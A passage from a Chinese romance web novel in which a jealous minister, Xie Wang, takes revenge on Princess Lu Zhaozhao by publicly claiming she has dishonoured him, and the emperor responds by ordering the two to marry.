崇光帝带了御厨,负责皇室的饮食,故而斋堂只有官员们和寺里的僧人们在此用早膳。谢正霄和谢妄各自领了斋饭,寻了个位子坐下。 没一会儿,谢正霄看见章安澜,热情招呼:“晏之,坐这儿吧。” 章安澜端着斋饭过来,他是晚辈,总不好挨着谢正霄坐,便在谢妄身边坐下。 “缜之兄。” 谢妄:“晏之兄。” 谢正霄对章安澜很欣赏,话有些多,先是问了一些他在京城做官习不习惯的事,又问到他的私事。 “上回听你说你有心上人,不知是哪家姑娘?是河西的人士么?” 章安澜摇摇头:“不是,她是京城这边的人。” 谢正霄:“瞧你这神态,便知你很喜欢她了。好啊,好,年轻人么,不止要立业,也要成家才好,两全其美。” 这话就是在点谢妄了,谢妄只当没听见,安静地用着斋饭。 心里却在想,小公主喜欢章安澜,可章安澜却有喜欢的人,她注定爱而不得,只能伤心。 不过他似乎记得上次宴请章安澜的时候,章安澜隐约和自己打听过陆朝朝的事,当时他还以为他喜欢陆朝朝,可后来却说自己已经有心上人了。 谢妄思及此,忽地瞥了眼章安澜,对他有些不好的揣测。 世上有些人会用感情换取权势利益,谢妄不是这种人,但见过很多这种人。他不知道章安澜是不是。 触到谢妄的目光,章安澜冲他笑了笑。 谢妄收回视线,又想,这又和他有什么关系呢? 用过早膳,谢正霄还有别的事忙,便先行离开了。章安澜和谢妄一道离开斋堂,晨间的空气很是清新,章安澜与谢妄并肩而行,二人都风姿出众,很是养眼。 章安澜忽地开口:“缜之兄,想必你也看出来了吧,其实我心仪之人正是昭阳公主。当年昭阳公主与陛下一道驾临河西,曾在章家住过一些时日。” 他微微一笑,眸中尽显温柔:“昭阳公主在章家的时候,曾与我有过一段渊源,我一直记得她。她真的很好,就像天上的太阳一般耀眼,我一直努力,努力到今日,终于到了京城,入了朝堂,站在了她面前。可是她似乎不记得我了,我有些担心,她会不喜欢我。缜之兄,你与公主相识多年,你替我参谋参谋,若是我向公主表明心意,她会接受吗?” 谢妄脚步一顿,看着章安澜。 第27章 第二十七想必这点情愫还很浅。 谢妄没有想到,章安澜所说的那位心上人,竟然会是陆朝朝。所以他为了陆朝朝,拒绝了二公主的青睐。他和陆朝朝还曾经在河西有过一段故事,如此说来,倒也称得上青梅竹马。 陆朝朝也喜欢他,原来他们两情相悦。 这与谢妄似乎无甚关系,与己无关的事,一向不会影响到他的情绪。但是此刻他感觉到自己有些难以名状的不高兴,为什么? 他别开视线,继续往前走,声音不疾不徐,并未倾泻出任何情绪:“晏之兄风流倜傥,年轻有为,依我看,昭阳公主极大可能会接受你的心意的,晏之兄不必担忧。” 何止,她估计会开心地接受,或者当场就去找陛下要求赐婚。 而他当时说要去求娶的时候,她几乎立刻就拒绝了。 她那般不想嫁,以为自己难道很想娶她吗?他只是想着他是男人,她是女人,这种事终究是她吃亏,所以才有担当地决定娶她罢了。若是换了旁人,兴许未必愿意娶她。 可她只是在骗他,拿这种事当做报复他的工具。 谢妄越想气越不顺,眸色都阴沉了几分。 章安澜听见谢妄的回答,似乎安心了些:“多谢缜之兄,如此,我心下便有了几分底气。待此番祭祀结束回到京城,我便寻个机会与公主表明心意。若是公主愿意接受,我定会好生感谢缜之兄。” “不用。”谢妄并不觉得在这件事上章安澜需要感谢自己,他在其中什么作用也没有,他们本来就两情相悦,轮得到他来做些什么撮合? “我还有些事,先走了。”谢妄说完,也不管章安澜的反应,径直离开。 祭祀的事主要归礼部负责,故而他们别的官员并不怎么忙碌,只需要做好自己分内之事就好,所以谢妄其实也没什么事要忙,他只是单纯地不想和章安澜继续聊下去。他想到昨晚小公主说的话,章安澜说话比他好听,是吗?他似乎也没感觉到。 谢妄和章安澜分开后,漫无目的在佛寺里走动。他在想一些事,他也许真的对陆朝朝有些不同的情愫,但应该只有一点点,毕竟兄长所说的那些问题他只对上了一条而已,想必这点情愫还很浅。 他不知道自己为什么会对陆朝朝产生这种情愫,毕竟他们已经认识很多年了,在过去这十几年里,他都没有喜欢上陆朝朝,可最近这一两个月,他却突然诞生了这种情愫。这也不重要,重要的是这种情愫既然还浅,那就也没什么影响,她既然与章安澜两情相悦,想必等回了京城,不久之后陛下就会下旨赐婚,等到他们成婚,他这点浅淡的情愫应该也会随着时间的推移而消失。 他自胸中长吐出一口气,一抬头就看见不远处一道熟悉的身影。 陆朝朝穿了一身浅碧色的襦裙,和婢女一起走在路上。 谢妄垂下眸子,觉得自己应当离她远一些。一来他希望他心里这点浅淡的情愫早日消失,二来既然她和别人相悦,他也不必要和她多见面。 正欲转身,忽地被陆朝朝叫住:“谢妄。” 她拎着裙摆,轻盈地行到他跟前:“忘了问你,你的伤还好吧?昨天晚上应该没有让你的伤更严重吧?” 她的视线落在谢妄的右边胳膊上,想到自己昨晚无礼的举动,应该没有加重他的伤势吧。 昨晚陆朝朝抄写完经书已经到了半夜,她困得不行,回去倒头就睡,所以今早才想起来这件事。 所以她昨天扑他了,可是她又不重,而且她也没有碰到他的胳膊吧,不对,也许碰到了。她自己胡乱想着,看向谢妄。 谢妄的伤口好得还算快,或许因为用了她给的那瓶药膏,所以已经开始结痂。昨晚她的动作并没有影响到他的伤口,只影响到了他的心情。 “多谢公主关心,臣的伤没有大碍。” “你没事就好了。”陆朝朝说,顿了顿,又说,“昨天晚上的事,你可不许说出去。”不然显得她好丢脸。 她威胁道:“你要是敢说出去,我就把你学过狗叫的事也说出去。”她哼了声。 谢妄看她一眼:“公主放心,臣不会说出去。” 他不知道她为什么会怕自己把这种事说出去,难道他是个很爱嚼舌根的人吗? 她反正很讨厌自己,对自己总有各种偏见。 得到谢妄肯定的回答,陆朝朝放心地走了。 祭祀每年都会举行,礼部只需要按部就班,保证不出什么岔子,就可以圆满结束。所以这三天过得很快,归京的这天也没什么意外,一切都很平稳顺利。 回到京城已经是黄昏时分,官员们各自归家,陆朝朝他们就回皇宫。 坐了一天马车,陆朝朝累得不行,一回到曦光殿,她就让她们赶紧备热水沐浴,而后换上寝衣,滚进柔软的被窝里,舒舒服服睡了一觉,一夜无梦。 她不知道,自己入了别人的梦。 舟车劳顿,谢妄沐浴更衣后,便躺下安寝。按说他有些疲惫,应当入睡得很快,可闭上眼睛,却又睡不着。 谢妄翻了个身,不知怎么,想到了陆朝朝。 不知道章安澜会什么时候和她表明心意,或许,明日? 若是明日,那她会不会明日便去向陛下开口求下旨赐婚? 谢妄心绪有些凌乱,不知几时才终于入睡。 这夜他也做了梦,和前几次不同 ,这回他竟是做梦梦见崇光帝问他可愿娶陆朝朝,他点头同意,崇光帝便下旨给他们二人赐婚。 洞房花烛夜,他与陆朝朝身着大红喜服,他掀开红盖头,却对上陆朝朝一张满是泪痕的脸,她哭着说:“我不要嫁给你,我要嫁给章安澜。” 梦境在这里结束,谢妄按了按眉心,已是卯时末,他索性起床练剑。 今日没有早朝,他只需要按时去官署。一切都和往日差不多,谢妄坐在官署的房间里,看着面前的公文,忽地有些走神。 若是陛下下旨赐婚,这件事很快便会传遍整个京城。 他将自己的思绪拉回来,继续看眼前的公文。 就这么忙碌到中午,中午有休息的时间,若是官署离家中近的,会选择回家中用午饭,毕竟官署里虽然也提供午饭,但厨子的手艺颇为一般,只能说饱腹,称不上好吃。但谢家离刑部的官署并不近,一来一回太过浪费时间,所以谢妄一般不会回家中,而会选择在官署吃午饭。 谢妄领了饭食后,与另外几位年纪大些的官员们坐在一处,他平时不苟言笑,和其他人关系都一般,其他人或许还会在吃饭时说笑,聊些别的话题,谢妄却只会沉默地吃完饭,便回房中睡个午觉,而后继续忙碌公事。 他们就和往常一样,聊起一些各自家中的私事打趣,忽地听见那位谢大人问了一句:“今日城里可有什么大事发生?” 他们原本还在说笑,愣了一下才反应过来,彼此对视一眼,开口问:“谢大人是说哪方面的大事?” 另一人道:“据我所知,今日一切如常,并未有什么大事发生啊。” 谢妄嗯了声,便没再言语。 那就是陛下还未下旨赐婚。 若是陛下下旨给昭阳公主赐婚,这些人定然会有所知晓。 他也不知道自己为何要问这样一句,在得到否定的答案时,他好像有些松了一口气。 众人见他不再言语,都觉得有些奇怪,不知道他为什么突然问了这么一嘴,而且他提问的语气,好像在等待什么事发生一般。 便有人猜测,莫不是陛下和谢大人商讨过什么新政策,要颁布下来,所以谢大人要问这么一句? 有人大着胆子去问,只得到一句“没有”的答案。 他们就更奇怪了。 而且接下来几日,谢大人每日中午都要问这么一句,也只问这么一句。当得知没有什么事发生时,又不说话了。 连续几日后,终于又有人猜测,莫非是陛下想好了立储的事,要颁布旨意? 这可的确是一件大事,这点风吹草动很快有人传到两位皇子耳中。 两位皇子闻言,皆是一惊,又觉得很有道理,毕竟父皇从不向他们透露任何关于立储的事,但谢妄深得父皇宠爱,或许父皇真的会告诉他也说不定。 大皇子和二皇子想了想,轮番来找谢妄套近乎,试探他的意思。可谁都没有从他口中套出任何事,这让他们不确定起来。 两位皇子和谢妄走近的消息,当然瞒不过崇光帝的耳朵。这日谢妄进宫时,便听崇光帝提起:“他们俩又想做什么?” 谢妄也很莫名,只摇头说不知,崇光帝叹气:“他们若是能多花些心思在政事上,朕才欣慰,不成器。” 谢妄站在一旁,没有接这话。 沉默之际,听得林顺来禀报:“陛下,昭阳公主来了。” 崇光帝道:“让她进来。” 听得这话,谢妄眸色微变。 她终于来向陛下开口求赐婚了么? 未几,陆朝朝便进来了。她进门便道:“父皇父皇,过两日令嘉姑母要办一场马球会,让我问问您去不去?” 令嘉长公主是崇光帝的另一位妹妹,比姝真长公主小一些,她的驸马早年病故之后,便一直寡居,没有再嫁。比起姝真长公主,陆朝朝更喜欢令嘉长公主。 崇光帝道:“那是你们年轻人的活动,朕都一把老骨头了,还去凑什么热闹,朕去了,你们到底不自在。” 陆朝朝游说:“谁说的,父皇正当壮年呢,父皇若是上场,定会杀他们一个片甲不留!父皇,你就去嘛,你老坐在这儿处理政事,也该多活动活动。” 崇光帝架不住她劝,只好应下:“好好好,朕去。” 陆朝朝当即喜笑颜开:“那就这么说定了。” 她没有说赐婚的事。 谢妄的心又落下去,他只觉得他们俩的感情好像悬在自己头顶的一把利剑,折磨着他。 第28章 第二十八忽然很不想看见他们两情相悦…… 这种等待早已知晓的结局被宣告的感觉并不好,让谢妄想到刑部大牢里那些被判处秋后问斩的死刑犯,他在这几日某些时刻也像他们一样,等待着秋后的到来。偏偏他无从知晓那一日到底何时到来,头顶的利剑何时落下,这等抓心挠肺的感觉让谢妄感觉很烦躁,他一向喜欢掌控局势,这种被动的等待于他而言实在是一种煎熬。 谢妄不知道她和章安澜到底如何了,是章安澜已经告诉了她,还是没有…… 她一张芙蓉面上笑意盈盈,她的喜怒哀乐都是写在脸上的,只是她此刻的喜乐是为了什么? 为了章安澜,亦或者是为了别的? 他凝神想着,崇光帝却忽然和他说话:“缜之啊,到时候你也来吧,朕记得你的马球打得不错。朕糊涂了,你身上有伤,没事,也可以去看看,热闹嘛。” 谢妄道:“是,臣一定去。” 陆朝朝瞥了他一眼,这种场合,如果谢妄也去的话,就算他不能上场,也一定会出尽风头。那些年轻的姑娘们一定都会盯着他看,毕竟他确实拥有一张好看的皮囊。 但好看的皮囊之下,是一个讨厌的灵魂。 二人一前一后离开千福殿,陆朝朝步子走得快,谢妄慢她一步,终于忍不住问了一句:“殿下近来和你的章大人如何?” 又开始讽刺她了,陆朝朝小脸一垮,他不就是想说,她喜欢章安澜,章安澜却喜欢别人嘛。 陆朝朝没好气说:“与你何干?就算他不喜欢我,那你连个喜欢的人都没有呢。你长这么大,你知道喜欢别人是什么感觉吗?你这个冷血无情的大木头。” 谢妄无端被她呛了几句,眉头微蹙,搞不懂她为何又开始恼怒自己,他分明又没说什么。 不过他得到了他想要的回答,原来章安澜还未曾告诉她他的心意,她还傻傻地以为章安澜另有所爱。 谢妄脑中闪过一个念头,想要告诉她,其实她与章安澜两情相悦,如此也可以终结自己的煎熬。 “其实……”他话到嘴边,被陆朝朝打断。 “你别说话了,看见你就烦。”她说罢,撂下谢妄下了庭阶,走远了。 谢妄看着她的背影,眸色微垂,喜欢别人的感觉么,他现在应该知道一点- 曦光殿中,陆朝朝撑着下巴,正在思考。 上回她骗谢妄的事,她总觉得谢妄不会轻易善罢甘休,他那天看起来真的生气极了。可是这些天谢妄对她除了阴阳怪气和嘲讽,并没有做什么,这让陆朝朝觉得不对劲,像暴风雨前的宁静,她总疑心谢妄还憋着一个大的。 可谢妄又并未做什么,这就让陆朝朝有些焦躁不安,她不时便会想,谢妄会怎么报复回来。 她又想不出来。 没办法,她觉得自己的脑袋确实没有谢妄的聪明,但是那也只是没他聪明而已,绝对称不上愚笨。他说自己愚笨,就是很讨厌。 这些日子,谢妄似乎经常提及章安澜,难不成他因为自己喜欢章安澜,所以想对章安澜做些什么来报复自己? 陆朝朝摇摇头,否定了这个猜想,虽然她觉得谢妄这人挺差劲的,但他在某些事情上还有点原则,应该不至于做这种事,而且这种手段未免太幼稚了,谢妄应该不会用这么幼稚的手段吧。 若是她和章安澜两情相悦,她可能还要担心谢妄会不会做什么拆散他们,可她和章安澜又不是两情相悦,章安澜喜欢他的小青梅…… 想到这,陆朝朝小脸更垮了。 章安澜的小青梅听起来真的很好,又帮过他,难怪他念念不忘。其实助人为乐这种美德,她也有的。她记得她小时候好像也帮过别人,是一个大哥哥,那个大哥哥被人欺负,还被两个人打,她路过瞧见,就制止了他们。 陆朝朝思绪一顿,只觉得仿佛有什么记忆在复苏似的,可又有些模糊。 她猛地站起身来,着急地唤风荷进来:“风荷,风荷……” 风荷赶紧进来,询问:“殿下,怎么了?” 陆朝朝抓住风荷的手,激动得有些颤抖:“你记不记得,我小时候是不是跟父皇去过河西?那时候我们住在章家,对吗?有一次,我要去放风筝的时候,路过看见章家一位小公子被另外两位小公子欺负,便帮了他,你记得吗?” 风荷想了想,点头:“奴婢记得是有这么一回事,殿下怎么忽然想起来问这个?” 陆朝朝开心地说:“他就是章安澜!那个人就是章安澜啊!原来是我帮了他,那他说的那个心上人,不会是我吧?” 想到这种可能,陆朝朝越发激动,甚至想现在立刻就去问问章安澜。可是这样未免也太不矜持了,而且她也不知道章安澜住哪儿,总不能她明目张胆地跑到翰林院的官署去问。那万一要不是她呢?她不就丢脸丢大发了? 她深吸一口气,让自己保持冷静,又吩咐风荷:“过两日令嘉姑母的马球会,你差人打听打听章安澜他去不去?” 若是他去,她便问问他,他所说的那个心上人,是不是自己? 若是自己的话,那他们岂不就是两情相悦! 风荷应下,很快去办。 “奴婢问过了,章大人也会参加的。”风荷回来回话。 陆朝朝咬住下唇,无比期待马球会的到来,若是他们两情相悦,她便去告诉父皇,请求父皇下旨赐婚。想到这些,陆朝朝止不住眉梢的笑意。 在度日如年的等待里,终于到了马球会这日。 这日天空碧蓝如洗,阳光明媚却并不显燥热,微风拂面,是很舒服的天气。陆朝朝盼这天已经盼得望穿秋水,一早便来了马球场。 “姑母!”陆朝朝嘴甜地和令嘉长公主打招呼。 令嘉长公主保养得宜,虽说已经四十岁的年纪,但脸上并没有什么皱纹,皮肤也很光滑,看着就像才三十岁。她慵懒地倚着美人榻,正吩咐下人们准备马球会的一应事宜,此番马球会她精心操办,邀请了许多人,连崇光帝和皇后也会来,可不能出什么岔子。 陆朝朝夸道:“姑母今日真是光彩照人。” 令嘉长公主嗔她一眼:“就你嘴甜,怎么来得这么早,都还没准备好呢。” 陆朝朝笑说:“还不是想念姑母了嘛,所以想早点见到姑母。” 令嘉长公主直起身子,用手指点了点陆朝朝的脑袋:“你呀,我看你就是贪玩的兴致来了,还说这些话哄姑母高兴,姑母还忙着呢,你自去玩吧。” 陆朝朝应下,和令嘉长公主告退,而后便自己在长公主府中转悠。这马球场是令嘉长公主的长公主府里的,因着令嘉长公主喜爱打马球,当年先帝便许她在公主府里建了一个马球场,她自己也养了几支马球队伍,每年更会举行马球会,邀请大家来参加,或是观赏马球比赛。 陆朝朝来令嘉长公主的府邸的时候不少,对这里颇为熟悉,便带着风荷游玩一番。她一面走着,忽然想到,待她与章安澜定下婚事,也该给她建公主府了。 她的公主府要建在哪儿呢?最好能离姑母近一些,她好常来找姑母玩。 思绪一下子发散开来,不禁想到与章安澜举案齐眉的日子。陆朝朝有些害羞,捂住了脸。 又过了些时辰,陆续有宾客过来,长公主府的下人们便指引他们往马球场走。陆朝朝听见动静,也往马球场去。 她抬头眺望,不由自主地寻找着章安澜的身影。 章安澜身姿出众,陆朝朝一眼便看见了他颀长的身影,正欲提步去寻,视线又落在他身侧另一道颀长身影上。 这人怎么看着是谢妄? 她嘟嘴,定睛一看,果真是谢妄。 谢妄和章安澜在过来的路上恰巧遇上,便一起过来了。章安澜忽地笑起来,谢妄循着他视线,见到了陆朝朝。 陆朝朝朝他们挥了挥手,也许只是对章安澜挥手。章安澜也挥了挥手。 好,很好,他们见面了,想必今日就能互诉衷情。 谢妄背过身,不去看她碍眼的笑容。 他捻着指腹,等到了结果,他应当如释重负,可心却更沉沉地往下坠,像戴上了更重的枷锁。好奇怪的感觉。 他想,他的确在吃陆朝朝和章安澜的醋。醋是酸的,他此刻的心情就是酸涩。 这便是喜欢一人的感觉么? 可兄长分明说,喜欢一个人应该会觉得喜悦幸福。谢妄垂下长眸,很讨厌这种心情,好像一个失败者。他从来不做一个失败者。 忽然很不想看见他们两情相悦的戏码。 陆朝朝已经走了过来,停在他们身侧,“谢大人,章大人。” 谢妄知道她根本不想和自己打招呼,因为她的视线完全黏在章安澜身上,连一个眼神都没给自己。她眸中带着笑意,嘴角更是翘着,她从来不会用这种神情看自己。 她的笑容很是刺眼,心仿佛被一只手狠狠揪住,原来这就是失败者的滋味吗? 还真是不好受。 陆朝朝终于抬眸看他,却道:“谢大人,你可以先让开一下吗?我有些话,想和章大人说。” 谢妄对着她莹润的眸子,非常坚决地拒绝:“不可以。” 陆朝朝:“……” 他又开始了。 不让就不让呗,她可以和章安澜换个地方说话,正待开口,令嘉长公主与崇光帝一起出现。 众人皆行礼参拜,陆朝朝只好先打消了念头,想着等会儿再问章安澜好了。 令嘉长公主看了眼站在一起的三人,打趣道:“嗯,都跟你很般配。” 陆朝朝面露羞涩,瞥了眼章安澜。 谢妄在一边看着他们眉来眼去,更烦了。他倏地开口:“殿下上次戏弄臣的事,就这么过去了么?” 第29章 第二十九“殿下,臣有了你的孩子,殿…… 似乎一切都从她骗他那天开始改变,至少在那以前,他对陆朝朝没有半分异样的情愫,谢妄抿唇,盯着陆朝朝。 陆朝朝警惕地打量他,虽说她骗他是不对,也有些担心他的报复,但是这种时候打嘴仗,无论如何气势上不能输,她微抬下巴,眨眼道:“你随时可以报复回来,本宫拭目以待,随时奉陪。” 她总爱以这种争强好胜的模样面对他,像一只炸毛的猫,可她面对章安澜的时候如此柔情万种。他的确应该想办法报复回去,她将他的生活搅乱了,却要潇洒地和别人两情相悦,举案齐眉么? 哪有这样的道理,他可不是什么活菩萨在世。 在官场上,他常被人说心狠手辣,不近人情,他对这些评价从不反驳,因为确实如此。许多时候,手段狠辣才能高效行事。 谢妄盯着她姝丽的小脸,淡淡开口:“这可是殿下自己说的。” 陆朝朝眨动睫羽,被他这么一句惊了惊,他要怎么报复回来?她不禁有些忐忑,但转念一想,他又不可能把自己抓到刑部大牢里,她可是公主,再怎么样也还有父皇给她兜底。 给自己定了定神,陆朝朝镇定道:“自然,你尽管放马过来。” 谢妄收回视线,没再说什么,转身进了观赏亭里。 陆朝朝看着他的背影,又有些不安,他怎么一副胸有成竹的样子,他到底想干嘛啊? 她原本见到章安澜的喜悦被冲淡,转而掺杂着许多对谢妄的猜测,好在没多久,马球会开始了。 令嘉长公主养着的几支马球队伍先进场比赛,算是今日的热身 ,众人皆在自己的位子上坐下观赏。令嘉长公主还特意开设了赌局,押哪支队伍能赢,陆朝朝看着球场上的精彩,注意力渐渐转移,也押了一支她看好的队伍。 一番你来我往的精彩对决之后,决出了胜负。虽说陆朝朝押的那支队伍最后输了,但这场比赛实在精彩,陆朝朝也不由拍手叫好。 热场结束之后,令嘉长公主便问在场宾客们有谁愿意上场比赛,赢者有彩头。令嘉长公主喜欢打马球,自然也亲自上场,方才那比的两场勾动了一些喜欢打马球的人的心思,没一会儿就有好些人踊跃参加。陆朝朝自然也跃跃欲试,报了名。 报名者抽签分作两队,傅宝嘉在另一队。陆朝朝道:“球场无姐妹,宝嘉,我可不会让着你哦。” 傅宝嘉笑说:“我不需要你让,谁胜谁负还未可知呢。” 令嘉长公主和陆朝朝分在一队,待上了场,只见姑侄二人配合默契,很快拿下比分,将对方队伍甩远了。陆朝朝骑着马在球场上英姿飒爽,吸引了不少人的注意,其中就包括了章安澜。 陆朝朝发现章安澜在看自己,遂冲他笑了笑。 她没发现,谢妄的视线也始终落在自己身上。 谢妄看着她的身影,夺球,挥杆,进球,又与章安澜眉来眼去。他眸色微深,捻动指腹。 毫不意外的,陆朝朝与令嘉长公主的队伍赢了。 陆朝朝额上一层薄汗,风荷早就候着,递上干净的帕子,陆朝朝擦拭掉脸上的汗水,又往章安澜的方向看了眼。她深吸了一口气,决定去问问章安澜,他所说的心上人到底是不是自己。 正忐忑之际,忽地被一道高大的身影拦住去路。 陆朝朝抬眸,对上谢妄的视线。 他眸色晦暗不明,紧紧盯着自己。 陆朝朝柳眉轻蹙,不知道他要做什么。 她身后是令嘉长公主,还有方才一同上场比赛的贵女和贵子们,他们的视线不由落在这两人身上。 陆朝朝正欲开口,谢妄先一步开了口:“殿下,臣有了你的孩子,殿下须得对臣负责。” 陆朝朝瞪大双眼,不可置信地看着面前的男人。 ??? 你要不要听听你在说什么鬼话? 陆朝朝下意识蹙眉反驳:“你疯啦,你是个男人,你怎么可能会有我的孩子?” 谢妄的声音不小,足够身后那些人也听得清楚明白,这位年轻的权臣说他有了昭阳公主的孩子,让昭阳公主对他负责。 这消息不亚于往滚烫的油锅里倒一盆得沸水,瞬间激起千层浪花,他们看向二人的眼神顿时发生变化,开始窃窃私语。 “谢大人和昭阳公主怎的会不清不楚的?” “你不知道吗,此前就有传闻说他们二人是一对儿啊。” “那不是假的吗?” “若是没有一点风声,怎么会传出这等绯闻?” “也是哦,我的天哪,这消息也太劲爆了吧。而且怎么听起来像昭阳公主始乱终弃?” “可是谢大人是男子,不可能怀孕吧?” “……也许谢大人天赋异禀?” …… 谢妄听见了他们的议论,他直视陆朝朝的眼睛道:“殿下只是否认臣是男子,不可能有孕的事,便是承认,殿下的确玷污了臣的清白,此事不假了。” 陆朝朝:“???” 现在到底是谁的清白不保啊? 她也听见了那些人的议论,在他们口中,俨然她已经是一个始乱终弃不负责任的人了。 她慌乱解释道:“谢妄!你在胡说八道什么?!我几时玷污你的清白了?” 她指着谢妄,因为太过激动而脑袋一片空白,甚至都不知道怎么辩解清楚。 完了完了,谢妄一定是在报复她,他好歹毒的计策! 这么多人都听见了,一传十十传百,她的名声毁于一旦啊! 章安澜也在,他不会也听见了吧? 陆朝朝心里越着急,嘴就越笨:“你……我……不是!我们俩之间分明清清白白。” 令嘉长公主错愕不已,上前几步到陆朝朝跟前,叹息道:“朝朝,你还真是深藏不露啊。” 她的语气是赞赏的态度,因着她自己便养些面首,对男女之事看得很开,合则聚,不合则散。 陆朝朝急得跺脚:“不是的,姑母,我没有。” 她要怎么解释清楚啊! 他们一行人停在原地不动,又似乎在议论什么,自然引起了更多人的注意。崇光帝也注意到了,还担心是朝朝被人欺负了,当即差林顺去探听情况。 林顺不多时来报,也很是讶然:“陛下,是昭阳公主与谢大人,谢大人说,他有了昭阳公主的孩子,让昭阳公主必须对他负责。” 崇光帝闻言,啊了声,疑心是自己听错了。“你说谁?谁怀孕了?缜之?” 林顺尴尬地点头,他也搞不懂谢大人这话是真是假了,按理说以谢大人的性格,不会扯这种谎话,可他是个男人,从古至今还没听说过有男人能怀孕的呢。 崇光帝一头雾水,亲自带着人过来了。 陆朝朝气得发抖,指着谢妄鼻子骂:“好你个谢妄,你阴险歹毒,你居然用这种办法报复我,你!” 谢妄垂下眉,并不反驳任何,只说:“殿下随便骂,只望殿下出过气,不要抛弃臣,和臣腹中的孩子。” 陆朝朝气得连骂他的话都说不出来了。 谢妄越是低眉顺眼,众人便越发觉得此事估计是真的,恐怕是昭阳公主始乱终弃,而谢大人一往情深,却惨遭抛弃。毕竟谁都知晓,这位年轻权臣平日里可是高冷淡漠,心狠手辣。除了真的爱,谁又能让他这么心甘情愿地低声下气呢? 一时间,大家看陆朝朝的眼神愈发怪异。 陆朝朝快哭了。 就在这时,她看见了崇光帝的身影,陆朝朝奔向崇光帝诉苦,希望崇光帝为她撑腰:“父皇,你可要为我做主啊,是谢妄在胡说八道,胡言乱语。” 崇光帝嘴上应着好好好,视线从谢妄身上扫过,“缜之,这到底是怎么回事啊?” 谢妄面向崇光帝,恭敬地行过礼,而后道:“陛下,臣失了清白,不想活了。还请陛下做主。” 崇光帝面露难色,赶紧安抚道:“别别别,朕定为你做主,莫要说这种寻死觅活的话。” 他看向自己的宝贝女儿,又看谢妄,一个是自己最疼爱的女儿,一个是自己宠信的臣子,若论亲疏,他当然要站在自己的宝贝女儿这一边。可是依据他对二人性格的了解,他的朝朝自幼被他宠坏了,脾气是有些娇纵的,倒是有可能做得出来这种事。而谢妄呢,他一向不苟言笑,在私事上更是干净得像一张白纸,没道理会用这种事诬陷朝朝。 崇光帝难以决断,硬着头皮问谢妄:“缜之啊,你,你毕竟是个男人,应当不会有孕吧!” 谢妄垂下长眸:“是么,或许是臣失了清白,刺激太大,一时有些胡言乱语。只是,殿下玷污了臣的清白一事,臣不曾胡言乱语。春闱放榜当夜,臣在殿下的曦光殿中过了一夜,陛下若是不信,尽可以去问问曦光殿的宫人们,他们皆可为臣作证。” 他这话半真半假,他的确在曦光殿过了一晚,即便去问,也是真的。但他一个外臣,在昭阳公主的曦光殿过了一夜,还能是因为什么? 崇光帝又看向朝朝,重重一声叹息。 陆朝朝意欲辩解,那天晚上谢妄是在她宫里待了一晚,可是她和谢妄之间分明清清白白,什么也没发生。 “不是的,父皇,事情不是他说的那样,那是事出有因的。” 崇光帝严肃道:“那就是说,他那天晚上的确在你殿里过了夜?” 陆朝朝说:“是,但是不是他说的那样啊……” 崇光帝又是一声叹息,语重心长道:“朝朝,朕当真是把你宠坏了,你怎能 如此胡闹?朕今日便为你二人赐婚,待挑一个良辰吉日,早日完婚。” 第30章 第三十章他一早便喜欢你,只是未曾表…… 听见崇光帝的话,陆朝朝更是心急如焚,父皇怎么也帮着谢妄呢,父皇怎么也不信她呢!她怎么嫁给谢妄那种讨厌鬼?她才不要,她有喜欢的人了,她喜欢章安澜,她不喜欢谢妄。 许是因着方才打过一场酣畅淋漓的马球,陆朝朝只觉得有些喘不上气,她还想开口说些什么时,便觉得脑袋一沉,失去了意识。 醒过来的时候,陆朝朝已经回到了曦光殿。 她意识还有些混沌,缓了好几息才记起那些事,又恍然以为是不是自己在做梦。那可真是个噩梦啊。 风荷在一边守着,见她醒过来松了口气:“殿下,您可算醒了,太医说您是才大动过,又一时太过激动这才晕了过去。” 风荷将她扶起来,又给她倒了一杯水。 陆朝朝听见风荷的话猛地站起身:“我晕过去了,在姑母的马球场是不是?父皇给我和谢妄赐婚了是不是?谢妄他说……” 她似是在问风荷,又似乎是在喃喃自语,重新跌坐在床边,小脸皱作一团。 她怎么也没想到谢妄会用这种方式报复自己,太卑鄙了,他简直就是杀敌一千自损八百! 可是她不想嫁给谢妄,陆朝朝这般想着,又站起身道:“父皇呢?我要见父皇?我要求他收回成命。” 她说罢,便跑出了曦光殿,直奔千福殿。 崇光帝正在千福殿中处理政事,见陆朝朝冲进来,她活蹦乱跳的,崇光帝松了口气:“看起来朝朝已经没事了,你可把父皇吓死了。” 陆朝朝抱住崇光帝胳膊,着急道:“我没事,父皇,你别担心。” 她话音一转,直截了当开口:“父皇,你收回成命吧,我不要嫁给谢妄,我又不喜欢他,他也不喜欢我的。” 崇光帝听她说起这事就有些恼,恼她做事这么没有分寸,“你还说,你也是,你若是不喜欢他,何苦招惹他?” 他拍了拍陆朝朝的手:“你又怎知道缜之不喜欢你?方才他已然与朕剖白过心迹,他一早便喜欢你,只是未曾表露出来罢了。” 在陆朝朝晕倒过去的时间里,崇光帝召谢妄谈了许久,毕竟事关朝朝的终生大事,他还是谨慎的。谢妄的回答让崇光帝很是满意,他许下承诺日后必定会好好对朝朝,又说他从前便喜欢朝朝,只是一直藏在心里,至于今日之事,是因朝朝不愿意和他在一起,他失魂落魄,一时情急之下才会如此。 崇光帝本就看好他,如今见他表露心迹,自然更满意。 陆朝朝睁大双眼,没想到谢妄竟然坑她坑得这么彻底,这是一点余地都不给她留,也不给自己留啊。 她慌忙道:“父皇,你别信他的鬼话,他只是在报复我。” 她将那天夜里的事告诉了崇光帝:“那晚他是在曦光殿,可我和他根本什么都没发生。我本来想把章安澜捉来宫里,问他肯不肯娶我,结果阴差阳错把谢妄弄进了宫。你也知道我和谢妄一直不对付,我就想吓吓他,所以跟他说……让他对我负责。后来我便借此事让谢妄做了许多事,那天谢妄替我挡刀,他便知晓了真相,而后很是生气。” “父皇,他压根就不是真心想娶我,他就是想报复我,父皇,你不能把我嫁给他的。”陆朝朝摇晃崇光帝的胳膊。 崇光帝一时沉默,而后却还是叹气:“朝朝,你孩子气,朕瞧着缜之却不是孩子气的性子,他不会拿这种事玩笑的。朕疼爱你,你也知道,朕年纪大了,也不知道还能活多久,朕希望朕归天后你也能幸福,缜之就是个很合适的人选。” 贤妃当年便得罪了许多人,贤妃虽死,可那些人却未必不会记恨朝朝。就譬如说明月,也譬如说皇后,皇后母家,太后…… 他在人世时能护住朝朝,他不在人世了呢? 